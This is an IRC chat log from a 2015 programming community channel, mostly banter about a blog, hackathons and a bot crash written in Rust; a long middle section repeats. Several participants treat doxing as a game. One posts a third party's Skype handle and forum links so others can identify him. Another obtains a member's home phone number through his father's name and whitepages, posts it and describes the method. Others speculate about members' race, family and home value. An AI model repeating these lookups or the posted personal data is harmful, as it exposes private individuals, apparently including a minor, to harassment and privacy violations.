[2015-04-04T23:18:51-0400] <LittleBobbyTables> Yes. That's obviously how that works.
[2015-04-04T23:18:59-0400] <LittleBobbyTables> No, that's when you short sell.
[2015-04-04T23:19:05-0400] <LittleBobbyTables> Well, can you even short sell on penny stocks?
[2015-04-04T23:19:30-0400] <jwoglom> if anyone's bored, find the flag: http://morbo.wogloms.com/~james/uploads/d.gif
[2015-04-04T23:20:20-0400] <LittleBobbyTables> virus
[2015-04-04T23:20:44-0400] <jwoglom> no, it is not a virus :P
[2015-04-04T23:21:18-0400] <LittleBobbyTables> trust me, it's a virus
[2015-04-04T23:29:31-0400] Mode is +nt
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[2015-04-04T23:32:52-0400] <JacobEdelman> I have rearrived
[2015-04-04T23:33:53-0400] <LittleBobbyTables> Damn.
[2015-04-04T23:34:02-0400] <JacobEdelman> Jwoglom: Happy birthday woger-man
[2015-04-04T23:34:48-0400] <jwoglom> JacobEdelman: thanks :P
[2015-04-04T23:34:52-0400] <+awe> Oh, right. Happy birthday, woggles.
[2015-04-04T23:35:07-0400] <LittleBobbyTables> You're 6 now right
[2015-04-04T23:35:23-0400] <jwoglom> LittleBobbyTables: nah, i think that's how old you are :P
[2015-04-04T23:35:33-0400] <LittleBobbyTables> 42 pls
[2015-04-04T23:39:46-0400] <ubuntor> LittleBobbyTables confirmed dog
[2015-04-05T00:13:19-0400] <JacobEdelman> Gnight all
[2015-04-05T00:19:23-0400] <LittleBobbyTables> http://gyazo.com/2d07e9bf8f6668bdff406f1f13499843
[2015-04-05T00:20:13-0400] <z3t> wow
[2015-04-05T00:20:15-0400] <z3t> you suck
[2015-04-05T00:20:57-0400] <LittleBobbyTables> lol
[2015-04-05T00:21:06-0400] <LittleBobbyTables> stay mad
[2015-04-05T00:21:46-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=nep3jKwVZe8
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[2015-04-05T01:46:20-0400] <LittleBobbyTables> z3t: got any other interesting sites
[2015-04-05T01:57:55-0400] <+awe> hardmath123 still hasn't said anything about my post responding to his post. :(
[2015-04-05T02:01:55-0400] <+awe> Also, none of you have written anything for the community blog.
[2015-04-05T02:01:58-0400] <+awe> So, get to it.
[2015-04-05T02:02:05-0400] <+awe> LittleBobbyTables: write something about something.
[2015-04-05T02:02:15-0400] <+awe> @tell JacobEdelman write something for the community blog. Seriously.
[2015-04-05T02:02:15-0400] <+awebot> awe: I'll let them know!
[2015-04-05T02:02:24-0400] <LittleBobbyTables> Where's the blog
[2015-04-05T02:02:46-0400] <+awe> http://blog.pdgn.co/
[2015-04-05T02:02:50-0400] <LittleBobbyTables> aight
[2015-04-05T02:02:56-0400] <+awe> You can submit a PR on GitHub with the post.
[2015-04-05T02:03:08-0400] <LittleBobbyTables> Does it have to be useful
[2015-04-05T02:03:25-0400] <+awe> Useful how?
[2015-04-05T02:03:58-0400] <LittleBobbyTables> Like
[2015-04-05T02:04:02-0400] <LittleBobbyTables> "awe made me write this"
[2015-04-05T02:04:04-0400] <LittleBobbyTables> "the end"
[2015-04-05T02:04:12-0400] <+awe> It should have some actual content.
[2015-04-05T02:04:23-0400] <+awe> You do cool things. I'm sure there's something you could write about.
[2015-04-05T02:04:50-0400] <LittleBobbyTables> Not really.
[2015-04-05T02:05:00-0400] <LittleBobbyTables> I can't write about anything I do at work, and I just play dota all day at home.
[2015-04-05T02:08:03-0400] <+awe> @tell hardmath123 Your newest blog post is a bit wrong. This isn't the birthday paradox, it's actually the coupon collector's problem.
[2015-04-05T02:08:03-0400] <+awebot> awe: I'll let them know!
[2015-04-05T02:08:54-0400] <+awe> LittleBobbyTables: could you write generally about what it's like to work at a government research lab?
[2015-04-05T02:09:17-0400] <LittleBobbyTables> We dick around and eat pizza
[2015-04-05T02:09:19-0400] <LittleBobbyTables> fin
[2015-04-05T02:09:39-0400] <+awe> Wow, sounds sick.
[2015-04-05T02:12:22-0400] <LittleBobbyTables> You should write about mer.
[2015-04-05T02:12:24-0400] <LittleBobbyTables> me
[2015-04-05T02:12:55-0400] <+awe> @tell hardmath123 Well, the birthday paradox is suitable to determine how long until you're likely to get a repeat as you did, but the problem of seeing every comic by pressing random is the coupon collector's problem.
[2015-04-05T02:12:55-0400] <+awebot> awe: I'll let them know!
[2015-04-05T02:13:28-0400] <+awe> LittleBobbyTables: I don't know enough about you to write about you, you secretive little minx.
[2015-04-05T02:13:36-0400] <LittleBobbyTables> Do it anyway.
[2015-04-05T02:13:48-0400] <LittleBobbyTables> At least, what you do know of me
[2015-04-05T02:16:16-0400] <+awe> "LittleBobbyTables is an employee of <insert lab name here> where he eats pizza and does really nothing else. He's also a world renown osu player, a frequent dota player, and he'll do anything to make a quick buck. Little is known about his background other than that he may be non-white, is definitely from a low-income background, and his father is not involved in his life."
[2015-04-05T02:16:35-0400] <LittleBobbyTables> ^_^
[2015-04-05T02:16:36-0400] <+awe> "He has been known to commit various cybercrimes of varying degrees of seriousness."
[2015-04-05T02:17:20-0400] <LittleBobbyTables> http://mirror.ninja/xyvs
[2015-04-05T02:24:15-0400] <+awe> LittleBobbyTables: what did I just watch?
[2015-04-05T02:24:29-0400] <+awe> Other than some red pill "I've never gotten laid in my life" nonsense.
[2015-04-05T02:24:30-0400] <LittleBobbyTables> Red pill philosophy. 
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[2015-04-05T09:46:54-0400] <MrSaints> I forgot I was here...
[2015-04-05T09:47:58-0400] <alokpathy> lel
[2015-04-05T10:38:44-0400] <LittleBobbyTables> kek
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[2015-04-05T11:38:02-0400] <JacobEdelman> awe: I see you were attempting to lost everything you know about lbt
[2015-04-05T11:38:02-0400] <+awebot> JacobEdelman: 9 hours ago, awe said write something for the community blog. Seriously.
[2015-04-05T11:38:11-0400] <JacobEdelman> awe: I know more
[2015-04-05T11:38:35-0400] <JacobEdelman> Maybe I should part an article showing how I go about doxing him?
[2015-04-05T11:38:55-0400] <JacobEdelman> LittleBobbyTables: ^
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[2015-04-05T11:57:29-0400] <LittleBobbyTables> What do you even know about me
[2015-04-05T11:57:35-0400] <LittleBobbyTables> Besides name, and where I work
[2015-04-05T11:59:29-0400] <LittleBobbyTables> That's really all anyone can get about me, tbh
[2015-04-05T12:00:07-0400] <jwoglom> well, once someone knows your name and where you work, can't they figure out a lot more about you?
[2015-04-05T12:03:24-0400] <LittleBobbyTables> awe's been trying for awhile.
[2015-04-05T12:03:42-0400] <LittleBobbyTables> You can't get any  family members, and you can't get my address or phone number from me.
[2015-04-05T12:09:46-0400] <sdamashek> what if we are the NSA
[2015-04-05T12:10:15-0400] <jwoglom> what if everyone actually just spies on behalf of the nsa
[2015-04-05T12:10:22-0400] <jwoglom> without realizing it
[2015-04-05T12:13:05-0400] <+awe> LittleBobbyTables: I mean, I tried for like forty five minutes and couldn't find anything and then gave up.
[2015-04-05T12:13:23-0400] <LittleBobbyTables> Fair enough
[2015-04-05T12:13:40-0400] <+awe> But yeah, can confirm despite fairly unique name, LittleBobbyTables is hard to locate.
[2015-04-05T12:13:56-0400] <+awe> And I've known his full name and workplace since I met him.
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[2015-04-05T12:47:12-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-05T02:03:08-0400] <LittleBobbyTables> Does it have to be useful
[2015-04-05T02:03:25-0400] <+awe> Useful how?
[2015-04-05T02:03:58-0400] <LittleBobbyTables> Like
[2015-04-05T02:04:02-0400] <LittleBobbyTables> "awe made me write this"
[2015-04-05T02:04:04-0400] <LittleBobbyTables> "the end"
[2015-04-05T02:04:12-0400] <+awe> It should have some actual content.
[2015-04-05T02:04:23-0400] <+awe> You do cool things. I'm sure there's something you could write about.
[2015-04-05T02:04:50-0400] <LittleBobbyTables> Not really.
[2015-04-05T02:05:00-0400] <LittleBobbyTables> I can't write about anything I do at work, and I just play dota all day at home.
[2015-04-05T02:08:03-0400] <+awe> @tell hardmath123 Your newest blog post is a bit wrong. This isn't the birthday paradox, it's actually the coupon collector's problem.
[2015-04-05T02:08:03-0400] <+awebot> awe: I'll let them know!
[2015-04-05T02:08:54-0400] <+awe> LittleBobbyTables: could you write generally about what it's like to work at a government research lab?
[2015-04-05T02:09:17-0400] <LittleBobbyTables> We dick around and eat pizza
[2015-04-05T02:09:19-0400] <LittleBobbyTables> fin
[2015-04-05T02:09:39-0400] <+awe> Wow, sounds sick.
[2015-04-05T02:12:22-0400] <LittleBobbyTables> You should write about mer.
[2015-04-05T02:12:23-0400] <LittleBobbyTables> me
[2015-04-05T02:12:55-0400] <+awe> @tell hardmath123 Well, the birthday paradox is suitable to determine how long until you're likely to get a repeat as you did, but the problem of seeing every comic by pressing random is the coupon collector's problem.
[2015-04-05T02:12:55-0400] <+awebot> awe: I'll let them know!
[2015-04-05T02:13:28-0400] <+awe> LittleBobbyTables: I don't know enough about you to write about you, you secretive little minx.
[2015-04-05T02:13:36-0400] <LittleBobbyTables> Do it anyway.
[2015-04-05T02:13:48-0400] <LittleBobbyTables> At least, what you do know of me
[2015-04-05T02:16:16-0400] <+awe> "LittleBobbyTables is an employee of <insert lab name here> where he eats pizza and does really nothing else. He's also a world renown osu player, a frequent dota player, and he'll do anything to make a quick buck. Little is known about his background other than that he may be non-white, is definitely from a low-income background, and his father is not involved in his life."
[2015-04-05T02:16:35-0400] <LittleBobbyTables> ^_^
[2015-04-05T02:16:36-0400] <+awe> "He has been known to commit various cybercrimes of varying degrees of seriousness."
[2015-04-05T02:17:20-0400] <LittleBobbyTables> http://mirror.ninja/xyvs
[2015-04-05T02:24:15-0400] <+awe> LittleBobbyTables: what did I just watch?
[2015-04-05T02:24:29-0400] <+awe> Other than some red pill "I've never gotten laid in my life" nonsense.
[2015-04-05T02:24:30-0400] <LittleBobbyTables> Red pill philosophy. 
[2015-04-05T09:46:54-0400] <MrSaints> I forgot I was here...
[2015-04-05T09:47:58-0400] <alokpathy> lel
[2015-04-05T10:38:44-0400] <LittleBobbyTables> kek
[2015-04-05T11:38:02-0400] <JacobEdelman> awe: I see you were attempting to lost everything you know about lbt
[2015-04-05T11:38:02-0400] <+awebot> JacobEdelman: 9 hours ago, awe said write something for the community blog. Seriously.
[2015-04-05T11:38:11-0400] <JacobEdelman> awe: I know more
[2015-04-05T11:38:35-0400] <JacobEdelman> Maybe I should part an article showing how I go about doxing him?
[2015-04-05T11:38:55-0400] <JacobEdelman> LittleBobbyTables: ^
[2015-04-05T11:57:29-0400] <LittleBobbyTables> What do you even know about me
[2015-04-05T11:57:35-0400] <LittleBobbyTables> Besides name, and where I work
[2015-04-05T11:59:29-0400] <LittleBobbyTables> That's really all anyone can get about me, tbh
[2015-04-05T12:00:07-0400] <jwoglom> well, once someone knows your name and where you work, can't they figure out a lot more about you?
[2015-04-05T12:03:24-0400] <LittleBobbyTables> awe's been trying for awhile.
[2015-04-05T12:03:42-0400] <LittleBobbyTables> You can't get any  family members, and you can't get my address or phone number from me.
[2015-04-05T12:09:46-0400] <sdamashek> what if we are the NSA
[2015-04-05T12:10:15-0400] <jwoglom> what if everyone actually just spies on behalf of the nsa
[2015-04-05T12:10:22-0400] <jwoglom> without realizing it
[2015-04-05T12:13:05-0400] <+awe> LittleBobbyTables: I mean, I tried for like forty five minutes and couldn't find anything and then gave up.
[2015-04-05T12:13:23-0400] <LittleBobbyTables> Fair enough
[2015-04-05T12:13:40-0400] <+awe> But yeah, can confirm despite fairly unique name, LittleBobbyTables is hard to locate.
[2015-04-05T12:13:56-0400] <+awe> And I've known his full name and workplace since I met him.
[2015-04-05T12:47:13-0400] Mode is +nt
[2015-04-05T13:14:38-0400] <nickthename> why do you want to
[2015-04-05T13:15:17-0400] <nickthename> also lol @ he may be non-white
[2015-04-05T13:16:02-0400] <nickthename> JacobEdelman: I'd read that article
[2015-04-05T13:20:51-0400] <LittleBobbyTables> Well, my name is white, and awe hasn't found any anyone white that is me, although he's found ones with the same name in the same area(ish)
[2015-04-05T13:34:26-0400] <nickthename> why is he trying to dox you?
[2015-04-05T13:36:41-0400] <JacobEdelman> I'm not entirely sure
[2015-04-05T13:36:42-0400] <JacobEdelman> bored
[2015-04-05T13:36:44-0400] <JacobEdelman> I guess
[2015-04-05T13:39:54-0400] <+awe> I'm not actively trying to dox LittleBobbyTables.
[2015-04-05T13:40:08-0400] <+awe> We were having a discussion where other people were asking me to dox them, and I was doing so really successfully.
[2015-04-05T13:40:40-0400] <+awe> I said that Tamini would probably be the hardest because all of her family names are Korean and her last name is very generic.
[2015-04-05T13:41:02-0400] <+awe> LittleBobbyTables then pointed out that he'd actually be the hardest. I attempted to dox him at his request, and really couldn't find anything more than I know.
[2015-04-05T13:42:12-0400] <nickthename> since we know tamini irl, not that hard
[2015-04-05T13:42:47-0400] <+awe> I've only met Tamini once, but yeah, I now know about her dad and stuff.
[2015-04-05T13:47:29-0400] <JacobEdelman> http://www.catonmat.net/blog/programming-competitions-work-performance/
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[2015-04-05T14:39:49-0400] <+awe> JacobEdelman: So, exactly what I've said many times?
[2015-04-05T14:43:13-0400] <JacobEdelman> awe: yup
[2015-04-05T14:43:19-0400] <JacobEdelman> and what I've been saying about hackathons
[2015-04-05T14:43:24-0400] <JacobEdelman> in fact, I disagree with the reasoning
[2015-04-05T14:43:41-0400] <+awe> Why do you think that's the case then?
[2015-04-05T14:43:53-0400] <JacobEdelman> I think in many instances its not just speed that make hackathon winners bad at actualy performance
[2015-04-05T14:44:05-0400] <JacobEdelman> I think the pressures and format of hackathons are actively bad
[2015-04-05T14:44:11-0400] <JacobEdelman> for many hackathons at least
[2015-04-05T14:44:12-0400] <jwoglom> i agree
[2015-04-05T14:44:17-0400] <jwoglom> i think we've discussed this in here before
[2015-04-05T14:44:21-0400] <JacobEdelman> yeah
[2015-04-05T14:44:38-0400] <JacobEdelman> awe: so, any progress on hackpdgn?
[2015-04-05T14:44:54-0400] <+awe> None at all.
[2015-04-05T15:06:03-0400] <JacobEdelman> ah, I didn't think so
[2015-04-05T15:06:10-0400] <JacobEdelman> so I assume its gonna be next year then
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[2015-04-05T15:55:46-0400] <LittleBobbyTables> JacobEdelman: u nurd
[2015-04-05T16:00:07-0400] <JacobEdelman> what did I do this time?
[2015-04-05T16:02:31-0400] <+awe> JacobEdelman: Yeah, but we'll do it really well for next year.
[2015-04-05T16:04:49-0400] <JacobEdelman> okay
[2015-04-05T16:31:47-0400] <assface> awe: you could try doxing me
[2015-04-05T16:31:59-0400] <assface> no asking nezorg tho
[2015-04-05T16:33:35-0400] <fwilson> hackpdgn?
[2015-04-05T16:33:38-0400] <fwilson> awe: what?
[2015-04-05T16:33:50-0400] <assface> they were trying to do a hackathon related to pdgn
[2015-04-05T16:33:50-0400] <LittleBobbyTables> assface: what's your name
[2015-04-05T16:34:03-0400] <fwilson> ah
[2015-04-05T16:34:07-0400] <assface> why would I tell you that?
[2015-04-05T16:34:27-0400] <assface> I mean, I think I've left enough info on here already to narrow down my Dad's name
[2015-04-05T16:37:39-0400] <JacobEdelman> fwilson:its not really related to hackpdgn
[2015-04-05T16:37:45-0400] <JacobEdelman> it just happens to be made by pdgn people
[2015-04-05T16:38:04-0400] <JacobEdelman> its a one week long, online, no(or minimal) prizes, crowd voting , hackathon thing
[2015-04-05T16:39:20-0400] <LittleBobbyTables> assface: I don't pay attention to you
[2015-04-05T16:39:54-0400] <assface> ech
[2015-04-05T16:39:59-0400] <assface> my name is jack McKee
[2015-04-05T16:40:02-0400] <LittleBobbyTables> If anyone wants to try doxing someone, mrkewlguy
[2015-04-05T16:40:06-0400] <LittleBobbyTables> That's his Skype
[2015-04-05T16:40:23-0400] <LittleBobbyTables> http://gyazo.com/a3cb24674cc7f4cd010a3af88ae3beac
[2015-04-05T16:40:31-0400] <LittleBobbyTables> Proof of a dox request if anyone actually cares.
[2015-04-05T16:41:13-0400] <assface> http://gyazo.com/a3cb24674cc7f4cd010a3af88ae3beac
[2015-04-05T16:41:24-0400] <assface> dag nabbit
[2015-04-05T16:41:31-0400] <LittleBobbyTables> >That just happened.
[2015-04-05T16:42:33-0400] <assface> https://steamcommunity.com/id/NNeTworK/allcomments
[2015-04-05T16:42:35-0400] <assface> http://www.planetminecraft.com/member/mrkewlguy/
[2015-04-05T16:43:50-0400] <assface> http://mrkewlguy.tumblr.com/
[2015-04-05T16:44:54-0400] <assface> mrkewlguy probably isn't the best lead, it's relatively common
[2015-04-05T16:44:57-0400] <LittleBobbyTables> "Name, address, DoB is primarily what I'm concerned about. Any other RL stuff is nice though"
[2015-04-05T16:45:07-0400] <LittleBobbyTables> Yeah, that's all we have to go on though.
[2015-04-05T16:45:31-0400] <assface> well Netw?rk is too
[2015-04-05T16:45:36-0400] <+awe> fwilson: Yeah, basically, it's a full week maker festival with no prizes, and it ends in a showcase where users up or down vote projects they like.
[2015-04-05T16:45:40-0400] <assface> but I can't get anything
[2015-04-05T16:46:22-0400] <+awe> fwilson: As a potential addition, there may be a judge's round some number of months later where prizes are awarded to the three projects that have evolved into a substantial contribution to the open source world.
[2015-04-05T16:47:05-0400] <assface> https://www.facebook.com/abner.rivera1 maybe?
[2015-04-05T16:47:13-0400] <LittleBobbyTables> http://www.hackforums.net/search.php?action=results&sid=b0ea7f2cb6b736dfb4034690d2926ff8
[2015-04-05T16:47:16-0400] <LittleBobbyTables> http://www.hackforums.net/search.php?action=results&sid=bdee7ee493d19ded614540fdf9818b52
[2015-04-05T16:47:20-0400] <LittleBobbyTables> If it helps to see how he types
[2015-04-05T16:50:21-0400] <assface> lol
[2015-04-05T16:50:25-0400] <assface> 'Bugmenotsohard'
[2015-04-05T16:50:33-0400] <assface> best username
[2015-04-05T16:55:08-0400] <fwilson> awe: that would be cool
[2015-04-05T16:56:02-0400] <+awe> fwilson: My goal would be to demonstrate that you can still have a shared competitive programming environment that encourages people to make something new without necessarily requiring them to make something bad.
[2015-04-05T16:56:04-0400] <JacobEdelman> arseface: done doxing you
[2015-04-05T16:56:14-0400] <JacobEdelman> should I call your homephone now?
[2015-04-05T16:56:16-0400] <JacobEdelman> :P
[2015-04-05T16:56:43-0400] <+awe> JacobEdelman: yes, do it. Call his home phone.
[2015-04-05T16:56:47-0400] <JacobEdelman> nah
[2015-04-05T16:56:48-0400] <JacobEdelman> too lazy
[2015-04-05T16:57:03-0400] <JacobEdelman> but I do gots it, thats enough for me
[2015-04-05T16:57:34-0400] <+awe> Do you have his address, too?
[2015-04-05T16:57:38-0400] <+awe> His home price?
[2015-04-05T16:57:41-0400] <+awe> When his family bought his house?
[2015-04-05T16:57:55-0400] <JacobEdelman> I have his house
[2015-04-05T16:58:01-0400] <JacobEdelman> so thats enough to get the rest if I cared
[2015-04-05T16:58:06-0400] <JacobEdelman> but I don't
[2015-04-05T16:58:10-0400] <+awe> You should. It's fun to get that stuff.
[2015-04-05T16:58:25-0400] <+awe> I mean, it revealed a lot of information about Hyper, for example.
[2015-04-05T16:59:03-0400] <Hyper> to be fair I don't attempt to hide much information about myself online
[2015-04-05T16:59:25-0400] <assface> JacobEdelman: what is it then?
[2015-04-05T16:59:55-0400] <assface> I'm kinda surprised, I've never posted my address online
[2015-04-05T17:00:04-0400] <assface> or my name
[2015-04-05T17:00:07-0400] <JacobEdelman> 805-569-5484
[2015-04-05T17:00:09-0400] <JacobEdelman> ?
[2015-04-05T17:00:12-0400] <assface> ayyyyyy ya got it
[2015-04-05T17:00:24-0400] <JacobEdelman> I found your dad
[2015-04-05T17:00:31-0400] <assface> lol
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[2015-04-05T17:00:36-0400] <JacobEdelman> then used www.whitepages.com
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[2015-04-05T17:00:50-0400] <JacobEdelman> along with the basic knowledge of where dos peublos is
[2015-04-05T17:00:51-0400] <assface> I've said before my dad is a compsci teacher at DP, so that's why you didn't needm y name
[2015-04-05T17:00:58-0400] <+awe> Hyper: I meant that looking up your house revealed a lot of information about you.
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[2015-04-05T17:01:08-0400] <+awe> hmm
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[2015-04-05T17:01:17-0400] <Hyper> awe: not much interesting information, imo ;)
[2015-04-05T17:01:31-0400] <+awe> I think the two million dollar apartment is pretty interesting.
[2015-04-05T17:01:40-0400] <assface> wat da
[2015-04-05T17:02:05-0400] <Hyper> /o\
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[2015-04-05T17:02:14-0400] <+awe> hmm
[2015-04-05T17:03:40-0400] <assface> well Netw?rk is in high school
[2015-04-05T17:03:59-0400] <assface> in the US
[2015-04-05T17:04:21-0400] <+awe>   * frame #0: 0x000000010014c129 awebot`oom::h6ceb70b4199b6fd7BYa + 41
[2015-04-05T17:04:21-0400] <+awe> ???
[2015-04-05T17:04:22-0400] <+awe> wat
[2015-04-05T17:04:32-0400] <+awe> Did it just run out of memory?
[2015-04-05T17:04:34-0400] <JacobEdelman> wait
[2015-04-05T17:04:35-0400] <JacobEdelman> wat
[2015-04-05T17:04:46-0400] <JacobEdelman> yeah, that one line he heard from you
[2015-04-05T17:04:47-0400] <Hyper> awe: I thought rust was memory safe ;)
[2015-04-05T17:04:50-0400] <JacobEdelman> took a lot of space to store
[2015-04-05T17:04:51-0400] <JacobEdelman> :)
[2015-04-05T17:05:00-0400] <JacobEdelman> you should type more quietly
[2015-04-05T17:05:06-0400] <JacobEdelman> thats clearly the problem here
[2015-04-05T17:05:19-0400] <Hyper> did your wittle bot have a memory leak?
[2015-04-05T17:05:25-0400] <+awe> It's not a memory leak.
[2015-04-05T17:05:25-0400] <JacobEdelman> lol
[2015-04-05T17:05:28-0400] <+awe> It wouldn't make sense.
[2015-04-05T17:05:28-0400] <Hyper> no wait lemme guess
[2015-04-05T17:05:32-0400] <+awe> It was only running for a half a second.
[2015-04-05T17:05:37-0400] <Hyper> Rust's runtime itself had a memory lead
[2015-04-05T17:05:47-0400] <Hyper> that's one intense memory leak then
[2015-04-05T17:05:49-0400] <assface> Rust doesn't have a runtime
[2015-04-05T17:05:54-0400] <+awe> Every language has a runtime.
[2015-04-05T17:05:56-0400] <assface> it has a static analyzer built into the compiler
[2015-04-05T17:05:59-0400] <Hyper> assface: i'm sure it has runtime libraries
[2015-04-05T17:06:00-0400] <+awe> Rust has a runtime.
[2015-04-05T17:06:05-0400] <+awe> It's called rustrt.
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[2015-04-05T17:06:16-0400] <assface> I thought it was supposed to be bare-metal?
[2015-04-05T17:06:19-0400] <Hyper> C has runtime libraries ;)
[2015-04-05T17:06:33-0400] <+awe> Every language has a runtime.
[2015-04-05T17:06:42-0400] <assface> you mean dynamically linked STL libs?
[2015-04-05T17:06:44-0400] <Hyper> unless it runs entirely at compile time \o/
[2015-04-05T17:06:53-0400] <+awe> Well, yeah, but no mainstream languages do that. :p
[2015-04-05T17:07:01-0400] <+awe> assface: no, literally, how would a C program run without a runtime?
[2015-04-05T17:07:02-0400] <assface> hue
[2015-04-05T17:07:11-0400] <assface> oh
[2015-04-05T17:07:12-0400] <+awe> assface: something has to set it up and then call the entry point.
[2015-04-05T17:07:14-0400] <JacobEdelman> so
[2015-04-05T17:07:19-0400] <JacobEdelman> I think we need to start making
[2015-04-05T17:07:21-0400] <assface> -ffreestanding
[2015-04-05T17:07:22-0400] <JacobEdelman> sub pdgn channels
[2015-04-05T17:07:23-0400] <+awe> assface: That thing is called a runtime.
[2015-04-05T17:07:25-0400] <JacobEdelman> for specific interests
[2015-04-05T17:07:31-0400] <JacobEdelman> we're starting to get too big
[2015-04-05T17:07:32-0400] <+awe> There's #rust.
[2015-04-05T17:07:38-0400] <JacobEdelman> yeah, but more of those
[2015-04-05T17:07:41-0400] <+awe> Okay, sure.
[2015-04-05T17:07:45-0400] <JacobEdelman> okay
[2015-04-05T17:07:49-0400] <+awe> Like what?
[2015-04-05T17:07:53-0400] <JacobEdelman> #hs
[2015-04-05T17:07:53-0400] <assface> I thought you meant like a java runtime
[2015-04-05T17:07:55-0400] <JacobEdelman> #algo
[2015-04-05T17:07:57-0400] <JacobEdelman> #sec
[2015-04-05T17:08:03-0400] <JacobEdelman> #cs
[2015-04-05T17:08:04-0400] <+awe> assface: no, it's not a virtual machine.
[2015-04-05T17:08:08-0400] <JacobEdelman> #awe-fan-club
[2015-04-05T17:08:14-0400] <assface> that's what I thought of when you said runtime
[2015-04-05T17:08:20-0400] <JacobEdelman> *#awe_fan_club
[2015-04-05T17:08:21-0400] <Hyper> but #awe-fan-club would be empty :)
[2015-04-05T17:08:26-0400] <+awe> Hyper: ouch.
[2015-04-05T17:08:26-0400] <JacobEdelman> #awe_fan_club
[2015-04-05T17:08:28-0400] <JacobEdelman> isn't
[2015-04-05T17:08:31-0400] <+awe> Hyper: that burns.
[2015-04-05T17:08:34-0400] <JacobEdelman> I've been in it
[2015-04-05T17:08:36-0400] <JacobEdelman> for months
[2015-04-05T17:08:39-0400] <JacobEdelman> :P
[2015-04-05T17:08:41-0400] <Hyper> awe: <3
[2015-04-05T17:08:43-0400] <assface> there should be a lang that runs entirely at compile-time though
[2015-04-05T17:08:49-0400] <assface> that would be funny
[2015-04-05T17:08:51-0400] <Hyper> assface: you can do that in D if you want.
[2015-04-05T17:09:05-0400] <+awe> You can do absurd amounts of calculations in Rust's type system.
[2015-04-05T17:09:13-0400] <Hyper> Jai offers that but it doesn't have a release yet :<
[2015-04-05T17:09:29-0400] <Hyper> you can run literally any jai code at compile time though, which is neat
[2015-04-05T17:09:49-0400] <JacobEdelman> awe: can you add a few channells to the pdgn topic?
[2015-04-05T17:09:57-0400] <JacobEdelman> or a link to a list of such channells?
[2015-04-05T17:10:04-0400] <+awe> I think you need to consider things we actually discuss here.
[2015-04-05T17:10:10-0400] <fwilson> JacobEdelman: /list ?
[2015-04-05T17:10:13-0400] <assface> which is very little
[2015-04-05T17:10:44-0400] <fwilson> TIL #awe_fan_club exists
[2015-04-05T17:10:45-0400] <JacobEdelman> fwilson: wow, cool, but I'd like to make sure people know about the new channells
[2015-04-05T17:10:49-0400] <JacobEdelman> fwilson: yup
[2015-04-05T17:10:50-0400] <JacobEdelman> I own it
[2015-04-05T17:10:54-0400] <JacobEdelman> awe:?
[2015-04-05T17:10:57-0400] <fwilson> "own"
[2015-04-05T17:11:01-0400] <fwilson> mfw no services
[2015-04-05T17:11:05-0400] <JacobEdelman> :P
[2015-04-05T17:11:14-0400] <+awe> As long as the entirety of our discussion is just general chitchat, I don't see a reason to have other channels.
[2015-04-05T17:11:21-0400] <JacobEdelman> well
[2015-04-05T17:11:32-0400] <JacobEdelman> hardmath123 thinks the quality has degraded or something
[2015-04-05T17:11:36-0400] <JacobEdelman> or is no longer interesting
[2015-04-05T17:11:39-0400] <JacobEdelman> hence, he left
[2015-04-05T17:11:45-0400] <JacobEdelman> which we must fix
[2015-04-05T17:11:54-0400] <+awe> His words were that he has nothing to say.
[2015-04-05T17:12:02-0400] <JacobEdelman> really?
[2015-04-05T17:12:05-0400] <JacobEdelman> when he'd say that?
[2015-04-05T17:12:18-0400] <+awe> A while ago when I asked him where he'd been.
[2015-04-05T17:14:48-0400] <assface> pulp fiction is best fiction
[2015-04-05T17:15:07-0400] <+awe> True story.
[2015-04-05T17:15:56-0400] <assface> what?
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[2015-04-05T17:16:15-0400] <+awe> hi
[2015-04-05T17:16:26-0400] <+awe> Okay. That's progress.
[2015-04-05T17:16:40-0400] <assface> lol
[2015-04-05T17:16:59-0400] <+awe> http://sprunge.us/HZjO
[2015-04-05T17:17:05-0400] <+awe> That's my backtrace.
[2015-04-05T17:17:41-0400] <+awe> @ddg hi
[2015-04-05T17:17:41-0400] <awebot_> awe: https://duckduckgo.com/?q=hi
[2015-04-05T17:17:41-0400] <+awebot> awe: https://duckduckgo.com/?q=hi
[2015-04-05T17:17:44-0400] <+awe> Ok.
[2015-04-05T17:17:45-0400] <+awe> That worked, too.
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[2015-04-05T17:18:19-0400] <JacobEdelman> JacoBot is BestBot
[2015-04-05T17:18:21-0400] <+awe> hmm
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[2015-04-05T17:18:28-0400] <+awe> Okay, it's something about libquote.
[2015-04-05T17:18:29-0400] <JacobEdelman> ?q hi
[2015-04-05T17:18:29-0400] <JacobBot> https://lmddgtfy.net/?q=hi
[2015-04-05T17:25:58-0400] <assface> why not ixquick?
[2015-04-05T17:26:16-0400] <JacobEdelman> ?
[2015-04-05T17:26:38-0400] <LittleBobbyTables> Why not ixmike
[2015-04-05T17:26:51-0400] <assface> why not ixberg?
[2015-04-05T17:27:00-0400] <LittleBobbyTables> Because ixmike fucked your mom
[2015-04-05T17:27:28-0400] <assface> shiggy
[2015-04-05T17:28:12-0400] <JacobEdelman> in other news
[2015-04-05T17:28:12-0400] <LittleBobbyTables> diggy
[2015-04-05T17:28:24-0400] <JacobEdelman> #hs is a thing
[2015-04-05T17:28:32-0400] <JacobEdelman> high schoolers only
[2015-04-05T17:28:37-0400] <assface> oh boy
[2015-04-05T17:28:41-0400] <LittleBobbyTables> Damn
[2015-04-05T17:28:45-0400] <LittleBobbyTables> This is discrimination
[2015-04-05T17:28:50-0400] <LittleBobbyTables> http://gyazo.com/f2068156055445e7b1b870896e9d9fbf
[2015-04-05T17:28:51-0400] <assface> i get to talk about.... high school
[2015-04-05T17:29:20-0400] <JacobEdelman> complaining about hs without having college students snicker at you about "waking up during the day" is nice
[2015-04-05T17:29:36-0400] <+awe> ayyyyy, wake up at noon
[2015-04-05T17:29:42-0400] <assface> lukcy muthafucka
[2015-04-05T17:29:50-0400] <assface> I get up at 6:30
[2015-04-05T17:30:05-0400] <assface> 5:30 when there's morning practice
[2015-04-05T17:30:05-0400] <LittleBobbyTables> I get to wake up at 7.
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[2015-04-05T17:36:08-0400] <LittleBobbyTables> What happens if someone dunks the ball starting from behind the three point line?
[2015-04-05T17:37:02-0400] <assface> they get shot
[2015-04-05T17:38:35-0400] <+awe> There's now #uni if you want to be exclusive on the other side of things.
[2015-04-05T17:38:46-0400] <LittleBobbyTables> So, us two
[2015-04-05T17:38:46-0400] <LittleBobbyTables> lol
[2015-04-05T17:38:52-0400] <Hyper> ayy 8:30 am classes erryday
[2015-04-05T17:39:09-0400] <Hyper> #poorschedulingdecisions
